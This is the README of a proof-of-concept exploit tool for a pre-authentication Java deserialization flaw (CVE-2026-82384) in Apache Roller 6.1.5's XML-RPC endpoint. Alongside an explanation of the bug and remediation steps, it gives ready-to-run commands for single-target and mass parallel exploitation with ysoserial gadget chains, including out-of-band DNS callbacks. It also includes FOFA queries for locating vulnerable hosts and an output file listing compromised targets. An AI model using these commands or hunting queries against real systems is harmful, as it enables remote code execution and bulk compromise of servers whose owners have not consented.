# CVE-2026-82384 — Apache Roller 6.1.5 XML-RPC deserialization
Python 3 PoC for **[CVE-2026-82384](https://nvd.nist.gov/vuln/detail/CVE-2026-82384)** — **Apache Roller 6.1.5** unauthenticated **Java deserialization** on the legacy **XML-RPC** servlet.
**PoC page:** [https://pocbit.org/pocs/cve-2026-82384](https://pocbit.org/pocs/cve-2026-82384)
---
## What is Apache Roller?
[Apache Roller](https://roller.apache.org/) is a Java-based, multi-user **blog server** (historically “Roller Weblogger”). Deployments are usually Tomcat WARs with a UI under `/roller-ui/` and legacy **Blogger / MetaWeblog** APIs over **XML-RPC** at `/roller-services/xmlrpc`. Roller **6.1.5** (Sep 2025) fixed an unrelated session issue (CVE-2025-24859) but left the XML-RPC stack in a dangerous configuration for this CVE.
---
## Vulnerability in plain language
**CVE-2026-82384** is **deserialization of untrusted data** (CWE-502) on the **XML-RPC endpoint**:
1. Roller’s `XmlRpcServlet` is configured with **`enabledForExtensions=true`**, so the Apache ws-xmlrpc library accepts **vendor extension types**, including **`ex:serializable`** — a **base64-encoded Java serialized object**.
2. That parsing runs **during HTTP request handling**, **before** Blogger/MetaWeblog **authentication** is evaluated.
3. The servlet mapping is **always present** in `web.xml`, so the parser still runs **even when administrators disable XML-RPC** in Roller settings (`webservices.enableXmlRpc=false`). Disabling the feature in the UI does **not** close this pre-auth path on **6.1.5**.
4. A remote attacker sends a crafted XML-RPC body; the server **deserializes** attacker bytes → **remote code execution** in the JVM (same class of bug as historic **CVE-2016-5003** in ws-xmlrpc / Archiva).
**Affected:** **Apache Roller 6.1.5** only (per vendor advisory).
**Fixed:** **Apache Roller 6.1.6+** ([PR #171](https://github.com/apache/roller/pull/171)): `enabledForExtensions=false`, and requests rejected when XML-RPC is disabled globally.
| Metric | Value |
|--------|--------|
| **CVSS 3.1** | **9.8 Critical** — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` |
| **Auth** | **None** for the deserialization primitive |
| **Finder** | **n0mi1k** |
| **Vendor** | Apache Software Foundation |
---
## Attack surface
| Item | Detail |
|------|--------|
| **Endpoint** | `POST /roller-services/xmlrpc` (also try `/roller/roller-services/xmlrpc`) |
| **Content-Type** | `text/xml` |
| **Trigger** | `BASE64` inside a `methodCall` |
| **Gadget chain** | Depends on classpath (Commons Collections, etc.); often generated with **ysoserial** |
| **Impact** | RCE as the Tomcat/Roller OS user; typically full control of blog data and host pivot |
---
## What this PoC does
| Mode | Behavior |
|------|----------|
| **`check`** | Finds Roller fingerprints, locates XML-RPC URL, optional **`--probe-deser`** (sends `ex:serializable` probe bytes) |
| **`exploit`** | Posts **your** serialized payload (file, base64, or **ysoserial** via `--ysoserial-jar`) |
| **Mass** | `--list targets.txt --mode exploit -j N` — parallel bulk with JSONL + **`exploited.txt`** |
**PoCbit fields:** `pocbit`, `pocbit_catalog`, `pocbit_page` on every JSONL row.
**CLI:** color banner, `[HIT]` / `[EXPLOIT]` / `[FAIL]` lines (disable with `--no-color`).
This repository **does not ship live RCE gadget chains** (classpath-dependent). For real exploitation, provide **ysoserial** output or a verified payload file.
---
## Requirements
```bash
pip install -r requirements.txt
```
For **RCE** (not just detection):
- **Java** + **[ysoserial](https://github.com/frohoff/ysoserial)** JAR on the attacker machine
- Example gadgets: `URLDNS` (out-of-band proof), `CommonsCollections6` (command execution on typical Roller classpath — **lab verify first**)
---
## Usage
### Detection
```bash
python poc.py -u https://blog.example.com --mode check
python poc.py -u https://blog.example.com --mode check --probe-deser
python poc.py --list targets.example.txt --mode check -j 12
```
### Exploit (single target)
```bash
# OOB DNS proof (replace with your collaborator)
python poc.py -u https://blog.example.com --mode exploit \
--ysoserial-jar ysoserial.jar --ysoserial-gadget URLDNS \
--ysoserial-cmd pocbit.your-oast.domain
# Pre-generated base64 payload file
python poc.py -u https://blog.example.com --mode exploit --payload-file chain.b64
# Raw ysoserial bytes on disk
python poc.py -u https://blog.example.com --mode exploit --payload-file payload.bin
```
### Mass bulk exploit
```bash
python poc.py --list targets.txt --mode exploit \
--ysoserial-jar ysoserial.jar --ysoserial-gadget URLDNS \
--ysoserial-cmd oast.example.com -j 10
```
Outputs:
- `cve_2026_82384_exploit.jsonl` — per-target JSON
- `exploited.txt` — targets where payload was accepted / OOB sent
---
## Sample XML-RPC shape (educational)
```xml
system.listMethods
BASE64_JAVA_SERIALIZED_OBJECT
```
On **6.1.5**, parsing this body can deserialize before any method handler enforces credentials.
---
## Remediation
1. **Upgrade to Roller 6.1.6+** immediately.
2. Until patched: **block** `/roller-services/xmlrpc` at reverse proxy / WAF (allowlist admin IPs only).
3. Inventory: search for `Apache Roller`, `/roller-ui/`, port 8080/8443 blog hosts.
4. Related same-release issues: **CVE-2026-82377** (XML-RPC authz), **CVE-2026-82386** (XXE in bookmark import) — also fixed in **6.1.6**.
---
## FOFA / hunting (examples)
```text
body="Apache Roller"
body="/roller-ui/"
body="/roller-services/xmlrpc"
title="Roller"
```
Confirm version **6.1.5** from footer, about page, or `WEB-INF` / release notes before treating as exploitable.
---
## Legal
Use only on systems you are authorized to test. Deserialization exploits can destroy data and violate law if misused.